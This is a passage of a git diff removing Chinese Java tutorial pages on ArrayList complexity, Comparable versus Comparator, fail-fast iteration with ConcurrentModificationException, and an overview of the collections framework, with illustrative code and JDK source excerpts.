类型的列表进行排序。如果是自定义类型的列表,还可以指定 Comparator 进行排序。 - -这里先简单地了解一下,后面会详细地讲。 - -```java -List copy = new ArrayList<>(alist); -copy.add("a"); -copy.add("c"); -copy.add("b"); -copy.add("d"); - -Collections.sort(copy); -System.out.println(copy); -``` - -输出结果如下所示: - -``` -[a, b, c, d] -``` - -排序后就可以使用二分查找法了: - -```java -int index = Collections.binarySearch(copy, "b"); -``` - -### 09、ArrayList增删改查时的时间复杂度 - -“最后,三妹,我们来简单总结一下 ArrayList 的时间复杂度吧,方便后面学习 LinkedList 时对比。”我喝了一口水后补充道。 - -#### 1)查询 - -时间复杂度为 O(1),因为 ArrayList 内部使用数组来存储元素,所以可以直接根据索引来访问元素。 - -```java -/** - * 返回列表中指定位置的元素。 - * - * @param index 要返回的元素的索引 - * @return 列表中指定位置的元素 - * @throws IndexOutOfBoundsException 如果索引超出范围(index < 0 || index >= size()) - */ -public E get(int index) { - rangeCheck(index); // 检查索引是否合法 - return elementData(index); // 调用 elementData 方法获取元素 -} - -/** - * 返回列表中指定位置的元素。 - * 此方法不进行边界检查,因此只应由内部方法和迭代器调用。 - * - * @param index 要返回的元素的索引 - * @return 列表中指定位置的元素 - */ -E elementData(int index) { - return (E) elementData[index]; // 返回指定索引位置上的元素 -} -``` - -#### 2)插入 - -添加一个元素(调用 `add()` 方法时)的时间复杂度最好情况为 O(1),最坏情况为 O(n)。 - -- 如果在列表末尾添加元素,时间复杂度为 O(1)。 -- 如果要在列表的中间或开头插入元素,则需要将插入位置之后的元素全部向后移动一位,时间复杂度为 O(n)。 - -#### 3)删除 - -删除一个元素(调用 `remove(Object)` 方法时)的时间复杂度最好情况 O(1),最坏情况 O(n)。 - -- 如果要删除列表末尾的元素,时间复杂度为 O(1)。 -- 如果要删除列表中间或开头的元素,则需要将删除位置之后的元素全部向前移动一位,时间复杂度为 O(n)。 - - -#### 4)修改 - -修改一个元素(调用 `set()`方法时)与查询操作类似,可以直接根据索引来访问元素,时间复杂度为 O(1)。 - -```java -/** - * 用指定元素替换列表中指定位置的元素。 - * - * @param index 要替换元素的索引 - * @param element 要放入列表中的元素 - * @return 原来在指定位置上的元素 - * @throws IndexOutOfBoundsException 如果索引超出范围(index < 0 || index >= size()) - */ -public E set(int index, E element) { - rangeCheck(index); // 检查索引是否合法 - - E oldValue = elementData(index); // 获取原来在指定位置上的元素 - elementData[index] = element; // 将指定位置上的元素替换为新元素 - return oldValue; // 返回原来在指定位置上的元素 -} -``` - -### 10、总结 - -ArrayList,如果有个中文名的话,应该叫动态数组,也就是可增长的数组,可调整大小的数组。动态数组克服了静态数组的限制,静态数组的容量是固定的,只能在首次创建的时候指定。而动态数组会随着元素的增加自动调整大小,更符合实际的开发需求。 - -学习集合框架,ArrayList 是第一课,也是新手进阶的重要一课。要想完全掌握 ArrayList,扩容这个机制是必须得掌握,也是面试中经常考察的一个点。 - -要想掌握扩容机制,就必须得读源码,也就肯定会遇到 `oldCapacity >> 1`,有些初学者会选择跳过,虽然不影响整体上的学习,但也错过了一个精进的机会。 - -计算机内部是如何表示十进制数的,右移时又发生了什么,静下心来去研究一下,你就会发现,哦,原来这么有趣呢? - -“好了,三妹,这一节我们就学到这里,收工!” - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/collection/comparable-omparator.md b/docs/src/collection/comparable-omparator.md deleted file mode 100644 index a8c9c3a5e1..0000000000 --- a/docs/src/collection/comparable-omparator.md +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: Java Comparable和Comparator的区别 -shortTitle: Comparable和Comparator -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细解析了 Java 中的 Comparable 和 Comparator 接口的区别,包括它们的特点、使用场景和实际应用示例。阅读本文,将帮助您更清晰地了解 Comparable 和 Comparator 在 Java 编程中的角色,从而更灵活地使用它们进行对象排序。 -head: - - - meta - - name: keywords - content: java,Comparable和Comparator,java Comparable, java Comparator,Comparable Comparator ---- - ->在前面学习[优先级队列](https://javabetter.cn/collection/PriorityQueue.html)的时候,我们曾提到过 Comparable和Comparator,那这篇继续以面试官的角度去切入,一起来看。 - -那天,小二去马蜂窝面试,面试官老王一上来就甩给了他一道面试题:请问Comparable和Comparator有什么区别?小二差点笑出声,因为三年前,也就是 2021 年,他在《[二哥的Java进阶之路](https://javabetter.cn/basic-extra-meal/comparable-omparator.html)》上看到过这题😆。 - -Comparable 和 Comparator 是 Java 的两个接口,从名字上我们就能够读出来它们俩的相似性:以某种方式来比较两个对象。 - -但它们之间到底有什么区别呢?请随我来,打怪进阶喽! - -### 01、Comparable - -Comparable 接口的定义非常简单,源码如下所示。 - -```java -public interface Comparable { - int compareTo(T t); -} -``` - -如果一个类实现了 Comparable 接口(只需要干一件事,重写 `compareTo()` 方法),就可以按照自己制定的规则将由它创建的对象进行比较。下面给出一个例子。 - -```java -public class Cmower implements Comparable { - private int age; - private String name; - - public Cmower(int age, String name) { - this.age = age; - this.name = name; - } - - @Override - public int compareTo(Cmower o) { - return this.getAge() - o.getAge(); - } - - public static void main(String[] args) { - Cmower wanger = new Cmower(19,"沉默王二"); - Cmower wangsan = new Cmower(16,"沉默王三"); - - if (wanger.compareTo(wangsan) < 0) { - System.out.println(wanger.getName() + "比较年轻有为"); - } else { - System.out.println(wangsan.getName() + "比较年轻有为"); - } - } -} -``` - -在上面的示例中,我创建了一个 Cmower 类,它有两个字段:age 和 name。Cmower 类实现了 Comparable 接口,并重写了 `compareTo()` 方法。 - -程序输出的结果是“沉默王三比较年轻有为”,因为他比沉默王二小三岁。这个结果有什么凭证吗? - -凭证就在于 `compareTo()` 方法,该方法的返回值可能为负数,零或者正数,代表的意思是该对象按照排序的规则小于、等于或者大于要比较的对象。如果指定对象的类型与此对象不能进行比较,则引发 `ClassCastException` 异常(自从有了[泛型](https://javabetter.cn/basic-extra-meal/generic.html),这种情况就少有发生了)。 - -### 02、Comparator - -Comparator 接口的定义相比较于 Comparable 就复杂的多了,不过,核心的方法只有两个,来看一下源码。 - -```java -public interface Comparator { - int compare(T o1, T o2); - boolean equals(Object obj); -} -``` - -第一个方法 `compare(T o1, T o2)` 的返回值可能为负数,零或者正数,代表的意思是第一个对象小于、等于或者大于第二个对象。 - -第二个方法 `equals(Object obj)` 需要传入一个 Object 作为参数,并判断该 Object 是否和 Comparator 保持一致。 - -有时候,我们想让类保持它的原貌,不想主动实现 Comparable 接口,但我们又需要它们之间进行比较,该怎么办呢? - -Comparator 就派上用场了,来看一下示例。 - -#### 1)原封不动的 Cmower 类。 - -```java -public class Cmower { - private int age; - private String name; - - public Cmower(int age, String name) { - this.age = age; - this.name = name; - } -} -``` - -Cmower 类有两个字段:age 和 name,意味着该类可以按照 age 或者 name 进行排序。 - -#### 2)再来看 Comparator 接口的实现类。 - -```java -public class CmowerComparator implements Comparator { - @Override - public int compare(Cmower o1, Cmower o2) { - return o1.getAge() - o2.getAge(); - } -} -``` - -按照 age 进行比较。当然也可以再实现一个比较器,按照 name 进行自然排序,示例如下。 - -```java -public class CmowerNameComparator implements Comparator { - @Override - public int compare(Cmower o1, Cmower o2) { - if (o1.getName().hashCode() < o2.getName().hashCode()) { - return -1; - } else if (o1.getName().hashCode() == o2.getName().hashCode()) { - return 0; - } - return 1; - } -} -``` - -#### 3)再来看测试类。 - -```java -Cmower wanger = new Cmower(19,"沉默王二"); -Cmower wangsan = new Cmower(16,"沉默王三"); -Cmower wangyi = new Cmower(28,"沉默王一"); - -List list = new ArrayList<>(); -list.add(wanger); -list.add(wangsan); -list.add(wangyi); - -list.sort(new CmowerComparator()); - -for (Cmower c : list) { - System.out.println(c.getName()); -} -``` - -创建了三个对象,age 不同,name 不同,并把它们加入到了 List 当中。然后使用 List 的 `sort()` 方法进行排序,来看一下输出的结果。 - -``` -沉默王三 -沉默王二 -沉默王一 -``` - -这意味着沉默王三的年纪比沉默王二小,排在第一位;沉默王一的年纪比沉默王二大,排在第三位。和我们的预期完全符合。 - -借此机会,再来看一下 sort 方法的源码: - -```java -public void sort(Comparator c) { - // 保存当前队列的 modCount 值,用于检测 sort 操作是否非法 - final int expectedModCount = modCount; - // 调用 Arrays.sort 对 elementData 数组进行排序,使用传入的比较器 c - Arrays.sort((E[]) elementData, 0, size, c); - // 检查操作期间 modCount 是否被修改,如果被修改则抛出并发修改异常 - if (modCount != expectedModCount) { - throw new ConcurrentModificationException(); - } - // 增加 modCount 值,表示队列已经被修改过 - modCount++; -} -``` - -可以看到,参数就是一个 Comparator 接口,并且使用了[泛型](https://javabetter.cn/basic-extra-meal/generic.html) `Comparator c`。 - -### 03、到底该用哪一个? - -通过上面的两个例子可以比较出 Comparable 和 Comparator 两者之间的区别: - -- 一个类实现了 Comparable 接口,意味着该类的对象可以直接进行比较(排序),但比较(排序)的方式只有一种,很单一。 -- 一个类如果想要保持原样,又需要进行不同方式的比较(排序),就可以定制比较器(实现 Comparator 接口)。 -- Comparable 接口在 `java.lang` 包下,而 `Comparator` 接口在 `java.util` 包下,算不上是亲兄弟,但可以称得上是表(堂)兄弟。 - -举个不恰当的例子。我想从洛阳出发去北京看长城,体验一下好汉的感觉,要么坐飞机,要么坐高铁;但如果是孙悟空的话,翻个筋斗就到了。我和孙悟空之间有什么区别呢? - -孙悟空自己实现了 Comparable 接口(他那年代也没有飞机和高铁,没得选),而我可以借助 Comparator 接口(现代化的交通工具)。 - -好了,关于 Comparable 和 Comparator 我们就先聊这么多。总而言之,如果对象的排序需要基于自然顺序,请选择 `Comparable`,如果需要按照对象的不同属性进行排序,请选择 `Comparator`。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/collection/fail-fast.md b/docs/src/collection/fail-fast.md deleted file mode 100644 index 34da1ca4dc..0000000000 --- a/docs/src/collection/fail-fast.md +++ /dev/null @@ -1,337 +0,0 @@ ---- -title: 阿里面试官:为什么Java开发手册强制不要在 foreach 里进行元素删除? -shortTitle: Java foreach 循环陷阱 -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文解释了为什么在 Java foreach 循环中执行删除操作会导致问题,以及在遍历过程中如何正确地进行元素删除。阅读本文,您将避免在使用 foreach 循环时遇到的常见错误,提高编程安全性与效率。还不是因为fail-fast -head: - - - meta - - name: keywords - content: Java,fail-fast,java foreach 删除元素,foreach 循环, 删除操作, 并发修改异常 ---- - - ->这篇文章同样采用小二去面试的形式,给大家换个胃口。 - -那天,小二去阿里面试,面试官老王一上来就甩给了他一道面试题:为什么阿里的 Java 开发手册里会强制不要在 foreach 里进行元素的删除操作? - -![](https://cdn.paicoding.com/stutymore/fail-fast-20230428073517.png) - -小二听完这句话就乐了。为什么呢?因为一天前他刚在《[二哥的Java进阶之路](https://github.com/itwanger/toBeBetterJavaer)》上看到过这道题的答案。 - -以下是整篇文章的内容。 - -### 关于fail-fast - -为了镇楼,先搬一段英文来解释一下 fail-fast。 - ->In systems design, a fail-fast system is one which immediately reports at its interface any condition that is likely to indicate a failure. Fail-fast systems are usually designed to stop normal operation rather than attempt to continue a possibly flawed process. Such designs often check the system's state at several points in an operation, so any failures can be detected early. The responsibility of a fail-fast module is detecting errors, then letting the next-highest level of the system handle them. - -这段话的大致意思就是,fail-fast 是一种通用的系统设计思想,一旦检测到可能会发生错误,就立马抛出异常,程序将不再往下执行。 - -```java -public void test(Wanger wanger) { - if (wanger == null) { - throw new RuntimeException("wanger 不能为空"); - } - - System.out.println(wanger.toString()); -} -``` - -一旦检测到 wanger 为 null,就立马抛出异常,让调用者来决定这种情况下该怎么处理,下一步 `wanger.toString()` 就不会执行了——避免更严重的错误出现。 - -很多时候,我们会把 fail-fast 归类为 Java 集合框架的一种错误检测机制,但其实 fail-fast 并不是 Java 集合框架特有的机制。 - -### for-each 删除元素报错 - -之所以我们把 fail-fast 放在集合框架篇里介绍,是因为问题比较容易再现。 - -```java -List list = new ArrayList<>(); -list.add("沉默王二"); -list.add("沉默王三"); -list.add("一个文章真特么有趣的程序员"); - -for (String str : list) { - if ("沉默王二".equals(str)) { - list.remove(str); - } -} - -System.out.println(list); -``` - -这段代码看起来没有任何问题,但运行起来就报错了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/fail-fast-01.png) - - -根据错误的堆栈信息,我们可以定位到 ArrayList 的第 901 行代码。 - -```java -final void checkForComodification() { - if (modCount != expectedModCount) - throw new ConcurrentModificationException(); -} -``` - -也就是说,remove 的时候触发执行了 `checkForComodification` 方法,该方法对 modCount 和 expectedModCount 进行了比较,发现两者不等,就抛出了 `ConcurrentModificationException` 异常。 - -为什么会执行 `checkForComodification` 方法呢? - -是因为 for-each 本质上是个语法糖,底层是通过[迭代器 Iterator](https://javabetter.cn/collection/iterator-iterable.html) 配合 while 循环实现的,来看一下反编译后的字节码。 - -```java -List list = new ArrayList(); -list.add("沉默王二"); -list.add("沉默王三"); -list.add("一个文章真特么有趣的程序员"); -Iterator var2 = list.iterator(); - -while(var2.hasNext()) { - String str = (String)var2.next(); - if ("沉默王二".equals(str)) { - list.remove(str); - } -} - -System.out.println(list); -``` - -来看一下 ArrayList 的 iterator 方法吧: - -```java -public Iterator iterator() { - return new Itr(); -} -``` - -内部类 Itr 实现了 Iterator 接口,这是 Itr 的源码。 - -```java -private class Itr implements Iterator { - int cursor; // 下一个元素的索引 - int lastRet = -1; // 上一个返回元素的索引;如果没有则为 -1 - int expectedModCount = modCount; // ArrayList 的修改次数 - - Itr() { } // 构造函数 - - public boolean hasNext() { // 判断是否还有下一个元素 - return cursor != size; - } - - @SuppressWarnings("unchecked") - public E next() { // 返回下一个元素 - checkForComodification(); // 检查 ArrayList 是否被修改过 - int i = cursor; // 当前索引 - Object[] elementData = ArrayList.this.elementData; // ArrayList 中的元素数组 - if (i >= elementData.length) // 超出数组范围 - throw new ConcurrentModificationException(); // 抛出异常 - cursor = i + 1; // 更新下一个元素的索引 - return (E) elementData[lastRet = i]; // 返回下一个元素 - } -} -``` - -也就是说 `new Itr()` 的时候 expectedModCount 被赋值为 modCount,而 modCount 是 ArrayList 中的一个计数器,用于记录 ArrayList 对象被修改的次数。ArrayList 的修改操作包括添加、删除、设置元素值等。每次对 ArrayList 进行修改操作时,modCount 的值会自增 1。 - -在迭代 ArrayList 时,如果迭代过程中发现 modCount 的值与迭代器的 expectedModCount 不一致,则说明 ArrayList 已被修改过,此时会抛出 ConcurrentModificationException 异常。这种机制可以保证迭代器在遍历 ArrayList 时,不会遗漏或重复元素,同时也可以在多线程环境下检测到并发修改问题。 - -```java -protected transient int modCount = 0; -``` - -### 分析代码执行的逻辑 - -我们来继续定位之前报错的错误堆栈。这是之前的代码。 - -```java -List list = new ArrayList<>(); -list.add("沉默王二"); -list.add("沉默王三"); -list.add("一个文章真特么有趣的程序员"); - -for (String str : list) { - if ("沉默王二".equals(str)) { - list.remove(str); - } -} - -System.out.println(list); -``` - -由于 list 此前执行了 3 次 add 方法。 - -- add 方法调用 ensureCapacityInternal 方法 -- ensureCapacityInternal 方法调用 ensureExplicitCapacity 方法 -- ensureExplicitCapacity 方法中会执行 `modCount++` - -```java -private void ensureExplicitCapacity(int minCapacity) { - modCount++; -} -``` - -所以 modCount 的值在经过三次 add 后为 3,于是 `new Itr()` 后 expectedModCount 的值也为 3(回到前面去看一下 Itr 的源码)。 - -接着来执行 for-each 的循环遍历。 - -执行第一次循环时,发现“沉默王二”等于 str,于是执行 `list.remove(str)`。 - -- remove 方法调用 fastRemove 方法 -- fastRemove 方法中会执行 `modCount++` - -```java -private void fastRemove(int index) { - modCount++; -} -``` - -modCount 的值变成了 4。 - -第二次遍历时,会执行 Itr 的 next 方法(`String str = (String) var3.next();`),next 方法就会调用 `checkForComodification` 方法。 - -```java -final void checkForComodification() { - if (modCount != expectedModCount) - throw new ConcurrentModificationException(); -} -``` - -此时 expectedModCount 为 3,modCount 为 4,就只好抛出 ConcurrentModificationException 异常了。 - -那其实在阿里巴巴的 Java 开发手册里也提到了,不要在 for-each 循环里进行元素的 remove/add 操作。remove 元素请使用 Iterator 方式。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/fail-fast-02.png) - -那原因其实就是我们上面分析的这些,出于 fail-fast 保护机制。 - -### 那该如何正确地删除元素呢? - -#### **1)remove 后 break** - -```java -List list = new ArrayList<>(); -list.add("沉默王二"); -list.add("沉默王三"); -list.add("一个文章真特么有趣的程序员"); - -for (String str : list) { - if ("沉默王二".equals(str)) { - list.remove(str); - break; - } -} -``` - -break 后循环就不再遍历了,意味着 Iterator 的 next 方法不再执行了,也就意味着 `checkForComodification` 方法不再执行了,所以异常也就不会抛出了。 - -但是呢,当 List 中有重复元素要删除的时候,break 就不合适了。 - - -#### **2)for 循环** - -```java -List list = new ArrayList<>(); -list.add("沉默王二"); -list.add("沉默王三"); -list.add("一个文章真特么有趣的程序员"); -for (int i = 0; i < list.size(); i++) { - String str = list.get(i); - if ("沉默王二".equals(str)) { - list.remove(str); - } -} -``` - -for 循环虽然可以避开 fail-fast 保护机制,也就说 remove 元素后不再抛出异常;但是呢,这段程序在原则上是有问题的。为什么呢? - -第一次循环的时候,i 为 0,`list.size()` 为 3,当执行完 remove 方法后,i 为 1,`list.size()` 却变成了 2,因为 list 的大小在 remove 后发生了变化,也就意味着“沉默王三”这个元素被跳过了。能明白吗? - -remove 之前 `list.get(1)` 为“沉默王三”;但 remove 之后 `list.get(1)` 变成了“一个文章真特么有趣的程序员”,而 `list.get(0)` 变成了“沉默王三”。 - -#### **3)使用 Iterator** - -```java -List list = new ArrayList<>(); -list.add("沉默王二"); -list.add("沉默王三"); -list.add("一个文章真特么有趣的程序员"); - -Iterator itr = list.iterator(); - -while (itr.hasNext()) { - String str = itr.next(); - if ("沉默王二".equals(str)) { - itr.remove(); - } -} -``` - -为什么使用 Iterator 的 remove 方法就可以避开 fail-fast 保护机制呢?看一下 remove 的源码就明白了。 - -```java -public void remove() { - if (lastRet < 0) // 如果没有上一个返回元素的索引,则抛出异常 - throw new IllegalStateException(); - checkForComodification(); // 检查 ArrayList 是否被修改过 - - try { - ArrayList.this.remove(lastRet); // 删除上一个返回元素 - cursor = lastRet; // 更新下一个元素的索引 - lastRet = -1; // 清空上一个返回元素的索引 - expectedModCount = modCount; // 更新 ArrayList 的修改次数 - } catch (IndexOutOfBoundsException ex) { - throw new ConcurrentModificationException(); // 抛出异常 - } -} -``` - -删除完会执行 `expectedModCount = modCount`,保证了 expectedModCount 与 modCount 的同步。 - -### 小结 - -为什么不能在foreach里执行删除操作? - -因为 foreach 循环是基于迭代器实现的,而迭代器在遍历集合时会维护一个 expectedModCount 属性来记录集合被修改的次数。如果在 foreach 循环中执行删除操作会导致 expectedModCount 属性值与实际的 modCount 属性值不一致,从而导致迭代器的 hasNext() 和 next() 方法抛出 ConcurrentModificationException 异常。 - -为了避免这种情况,应该使用迭代器的 remove() 方法来删除元素,该方法会在删除元素后更新迭代器状态,确保循环的正确性。如果需要在循环中删除元素,应该使用迭代器的 remove() 方法,而不是集合自身的 remove() 方法。 - -就像这样。 - -```java -List list = new ArrayList<>(); -list.add("沉默王二"); -list.add("沉默王三"); -list.add("一个文章真特么有趣的程序员"); - -Iterator itr = list.iterator(); - -while (itr.hasNext()) { - String str = itr.next(); - if ("沉默王二".equals(str)) { - itr.remove(); - } -} -``` - -除此之外,我们还可以采用 [Stream 流](https://javabetter.cn/java8/stream.html)的filter() 方法来过滤集合中的元素,然后再通过 collect() 方法将过滤后的元素收集到一个新的集合中。 - -```java -List list = new ArrayList<>(Arrays.asList("沉默", "王二", "陈清扬")); -list = list.stream().filter(s -> !s.equals("陈清扬")).collect(Collectors.toList()); -``` - -好了,关于这个问题,就聊到这里吧,希望能帮助到你。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/collection/gailan.md b/docs/src/collection/gailan.md deleted file mode 100644 index deaaef7068..0000000000 --- a/docs/src/collection/gailan.md +++ /dev/null @@ -1,767 +0,0 @@ ---- -title: Java集合框架全面解析 -shortTitle: List、Set、Queue和Map -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文为您提供一个全面的 Java 集合框架概览,详细介绍了集合框架的构成、各种集合类的功能与应用场景。学习本文将帮助您更好地理解和使用 Java 集合框架,提高编程效率。 -head: - - - meta - - name: keywords - content: Java,集合框架,容器,java 集合框架,java集合,java容器, List, Set, Map, 队列 ---- - - -眼瞅着三妹的王者荣耀杀得正嗨,我趁机喊到:“别打了,三妹,我们来一起学习 Java 的集合框架吧。” - -“才不要呢,等我打完这一局啊。”三妹倔强地说。 - -“好吧。”我只好摊摊手地说,“那我先画张集合框架的结构图等着你。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/gailan-01.png) - -“完了没?三妹。” - -“完了好一会儿了,二哥,你图画得真慢,让我瞧瞧怎么样?” - -“害,图要画得清晰明了,不容易的。三妹,你瞧,不错吧。” - -“哇,果然很棒,哥,你可真认真!” - -“我来简单介绍一下吧。” - -Java 集合框架可以分为两条大的支线: - -①、Collection,主要由 List、Set、Queue 组成: - -- List 代表有序、可重复的集合,典型代表就是封装了动态数组的 [ArrayList](https://javabetter.cn/collection/arraylist.html) 和封装了链表的 [LinkedList](https://javabetter.cn/collection/linkedlist.html); -- Set 代表无序、不可重复的集合,典型代表就是 HashSet 和 TreeSet; -- Queue 代表队列,典型代表就是双端队列 [ArrayDeque](https://javabetter.cn/collection/arraydeque.html),以及优先级队列 [PriorityQueue](https://javabetter.cn/collection/PriorityQueue.html)。 - -②、Map,代表键值对的集合,典型代表就是 [HashMap](https://javabetter.cn/collection/hashmap.html)。 - -### 01、List - -List 的特点是存取有序,可以存放重复的元素,可以用下标对元素进行操作。 - -#### **1)ArrayList** - -先来一段 ArrayList 的增删改查,学会用。 - -```java -// 创建一个集合 -ArrayList list = new ArrayList(); -// 添加元素 -list.add("王二"); -list.add("沉默"); -list.add("陈清扬"); - -// 遍历集合 for 循环 -for (int i = 0; i < list.size(); i++) { - String s = list.get(i); - System.out.println(s); -} -// 遍历集合 for each -for (String s : list) { - System.out.println(s); -} - -// 删除元素 -list.remove(1); -// 遍历集合 -for (String s : list) { - System.out.println(s); -} - -// 修改元素 -list.set(1, "王二狗"); -// 遍历集合 -for (String s : list) { - System.out.println(s); -} -``` - -简单介绍一下 ArrayList 的特征,[后面还会详细讲](https://javabetter.cn/collection/arraylist.html)。 - -- ArrayList 是由数组实现的,支持随机存取,也就是可以通过下标直接存取元素; -- 从尾部插入和删除元素会比较快捷,从中间插入和删除元素会比较低效,因为涉及到数组元素的复制和移动; -- 如果内部数组的容量不足时会自动扩容,因此当元素非常庞大的时候,效率会比较低。 - -#### **2)LinkedList** - -同样先来一段 LinkedList 的增删改查,和 ArrayList 几乎没什么差别。 - -```java -// 创建一个集合 -LinkedList list = new LinkedList(); -// 添加元素 -list.add("王二"); -list.add("沉默"); -list.add("陈清扬"); - -// 遍历集合 for 循环 -for (int i = 0; i < list.size(); i++) { - String s = list.get(i); - System.out.println(s); -} -// 遍历集合 for each -for (String s : list) { - System.out.println(s); -} - -// 删除元素 -list.remove(1); -// 遍历集合 -for (String s : list) { - System.out.println(s); -} - -// 修改元素 -list.set(1, "王二狗"); -// 遍历集合 -for (String s : list) { - System.out.println(s); -} -``` - -不过,LinkedList 和 ArrayList 仍然有较大的不同,[后面也会详细地讲](https://javabetter.cn/collection/linkedlist.html)。 - -- LinkedList 是由双向链表实现的,不支持随机存取,只能从一端开始遍历,直到找到需要的元素后返回; -- 任意位置插入和删除元素都很方便,因为只需要改变前一个节点和后一个节点的引用即可,不像 ArrayList 那样需要复制和移动数组元素; -- 因为每个元素都存储了前一个和后一个节点的引用,所以相对来说,占用的内存空间会比 ArrayList 多一些。 - -#### **3)Vector 和 Stack** - -List 的实现类还有一个 Vector,是一个元老级的类,比 ArrayList 出现得更早。ArrayList 和 Vector 非常相似,只不过 Vector 是线程安全的,像 get、set、add 这些方法都加了 `synchronized` 关键字,就导致执行效率会比较低,所以现在已经很少用了。 - -我就不写太多代码了,只看一下 add 方法的源码就明白了。 - -```java -public synchronized boolean add(E e) { - elementData[elementCount++] = e; - return true; -} -``` - -这种加了同步方法的类,注定会被淘汰掉,就像[StringBuilder 取代 StringBuffer](https://javabetter.cn/string/builder-buffer.html)那样。JDK 源码也说了: - -> 如果不需要线程安全,建议使用 ArrayList 代替 Vector。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/collection//gailan-20bfd65a-1f1d-4de7-a3e3-3dda739e6f9d.png) - -Stack 是 Vector 的一个子类,本质上也是由动态数组实现的,只不过还实现了先进后出的功能(在 get、set、add 方法的基础上追加了 pop「返回并移除栈顶的元素」、peek「只返回栈顶元素」等方法),所以叫栈。 - -下面是这两个方法的源码,增删改查我就不写了,和 ArrayList 和 LinkedList 几乎一样。 - -```java -public synchronized E pop() { - E obj; - int len = size(); - - obj = peek(); - removeElementAt(len - 1); - - return obj; -} - -public synchronized E peek() { - int len = size(); - - if (len == 0) - throw new EmptyStackException(); - return elementAt(len - 1); -} -``` - -不过,由于 Stack 执行效率比较低(方法上同样加了 synchronized 关键字),就被双端队列 ArrayDeque 取代了(下面会介绍)。 - -### 02、Set - -Set 的特点是存取无序,不可以存放重复的元素,不可以用下标对元素进行操作,和 List 有很多不同。 - -#### 1)HashSet - -HashSet 其实是由 HashMap 实现的,只不过值由一个固定的 Object 对象填充,而键用于操作。来简单看一下它的源码。 - -```java -public class HashSet - extends AbstractSet - implements Set, Cloneable, java.io.Serializable -{ - private transient HashMap map; - - // Dummy value to associate with an Object in the backing Map - private static final Object PRESENT = new Object(); - - public HashSet() { - map = new HashMap<>(); - } - - public boolean add(E e) { - return map.put(e, PRESENT)==null; - } - - public boolean remove(Object o) { - return map.remove(o)==PRESENT; - } -} -``` - -实际开发中,HashSet 并不常用,比如,如果我们需要按照顺序存储一组元素,那么 ArrayList 和 LinkedList 可能更适合;如果我们需要存储键值对并根据键进行查找,那么 HashMap 可能更适合。 - -来一段增删改查体验一下: - -```java -// 创建一个新的HashSet -HashSet set = new HashSet<>(); - -// 添加元素 -set.add("沉默"); -set.add("王二"); -set.add("陈清扬"); - -// 输出HashSet的元素个数 -System.out.println("HashSet size: " + set.size()); // output: 3 - -// 判断元素是否存在于HashSet中 -boolean containsWanger = set.contains("王二"); -System.out.println("Does set contain '王二'? " + containsWanger); // output: true - -// 删除元素 -boolean removeWanger = set.remove("王二"); -System.out.println("Removed '王二'? " + removeWanger); // output: true - -// 修改元素,需要先删除后添加 -boolean removeChenmo = set.remove("沉默"); -boolean addBuChenmo = set.add("不沉默"); -System.out.println("Modified set? " + (removeChenmo && addBuChenmo)); // output: true - -// 输出修改后的HashSet -System.out.println("HashSet after modification: " + set); // output: [陈清扬, 不沉默] -``` - -HashSet 主要用于去重,比如,我们需要统计一篇文章中有多少个不重复的单词,就可以使用 HashSet 来实现。 - -```java -// 创建一个 HashSet 对象 -HashSet set = new HashSet<>(); - -// 添加元素 -set.add("沉默"); -set.add("王二"); -set.add("陈清扬"); -set.add("沉默"); - -// 输出 HashSet 的元素个数 -System.out.println("HashSet size: " + set.size()); // output: 3 - -// 遍历 HashSet -for (String s : set) { - System.out.println(s); -} -``` - -从上面的例子可以看得出,HashSet 会自动去重,因为它是用 HashMap 实现的,[HashMap](https://javabetter.cn/collection/hashmap.html) 的键是唯一的(哈希值),相同键的值会覆盖掉原来的值,于是第二次 `set.add("沉默")` 的时候就覆盖了第一次的 `set.add("沉默")`。 - -我在《[LeetCode 的第 15 题:三数之和](https://paicoding.com/column/7/15)》的时候用到了 HashSet,大家可以通过链接去查看一下。 - - -#### 2)LinkedHashSet - -LinkedHashSet 虽然继承自 HashSet,其实是由 [LinkedHashMap](https://javabetter.cn/collection/linkedhashmap.html) 实现的。 - -这是 LinkedHashSet 的无参构造方法: - -```java -public LinkedHashSet() { - super(16, .75f, true); -} -``` - -[super](https://javabetter.cn/oo/this-super.html) 的意思是它将调用父类的 HashSet 的一个有参构造方法: - -```java -HashSet(int 